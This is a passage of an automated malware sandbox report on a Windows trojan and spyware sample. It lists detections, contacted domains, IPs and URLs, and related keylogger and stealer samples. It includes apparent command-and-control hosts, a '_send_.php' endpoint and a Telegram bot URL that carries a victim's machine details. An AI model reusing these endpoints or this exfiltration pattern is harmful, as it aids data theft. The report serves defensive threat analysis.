pbCN4g6sN5.exe	100%	Avira	HEUR/AGEN.1306802
pbCN4g6sN5.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://varders.kozow.com:8081	100%	Avira URL Cloud	malware
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	phishing
http://aborters.duckdns.org:8081	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:724536%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:36:30%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20724536%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	InstallUtil.exe, 00000005.00000002.2907422568.000000000403C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000413E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	InstallUtil.exe, 00000005.00000002.2903836633.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002F72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlBiq	InstallUtil.exe, 00000005.00000002.2903836633.0000000002F7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sajatypeworks.com	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	InstallUtil.exe, 00000005.00000002.2907422568.0000000004042000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000411A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lBiq	InstallUtil.exe, 00000005.00000002.2903836633.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/	InstallUtil.exe, 00000005.00000002.2903836633.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	InstallUtil.exe, 00000005.00000002.2907422568.000000000403C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000413E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:724536%0D%0ADate%20a	InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ac.ecosia.org/autocomplete?q=	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.jiyu-kobo.co.jp/	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189$	InstallUtil.exe, 00000005.00000002.2903836633.0000000002E37000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E7D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	InstallUtil.exe, 00000005.00000002.2903836633.0000000002E7D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	InstallUtil.exe, 00000005.00000002.2907422568.0000000004042000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000411A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586029
Start date and time:	2025-01-08 16:31:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pbCN4g6sN5.exe renamed because original name is a hash value
Original Sample Name:	0d6d13b615ce21e4a4ff75ec6ad0047a5664aafc05745188afc2e4497c2bed9f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 158 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.56.254.164, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 7492 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: pbCN4g6sN5.exe

Simulations

Behavior and APIs

Time	Type	Description
10:32:03	API Interceptor	122789x Sleep call for process: pbCN4g6sN5.exe modified
10:33:08	API Interceptor	2709x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	spreadmalware.exe	Get hash	malicious	XWorm	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Resource.exe	Get hash	malicious	Blank Grabber	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
api.telegram.org	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	149.154.167.220
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Resource.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	user.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
checkip.dyndns.com	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse	149.154.167.220
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://t.me/hhackplus	Get hash	malicious	Unknown	Browse	149.154.167.99
CLOUDFLARENETUS	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	104.18.86.42
	XL-1-6-25-(EXCEL LATEST 2025).html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	Get hash	malicious	Phisher	Browse	188.114.96.3
	http://wfs.SATSGroup.co/login.php?id=bmZlcmRpbmFuZG9Ad2ZzLmFlcm8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://url.uk.m.mimecastprotect.com/s/jiGQCnr5DH7GvmPu9fVSJcV9l?domain=wfs.satsgroup.co	Get hash	malicious	Unknown	Browse	104.17.25.14
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
UTMEMUS	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	132.224.247.83
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	h.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	web55.mp4.hta	Get hash	malicious	LummaC	Browse	149.154.167.220
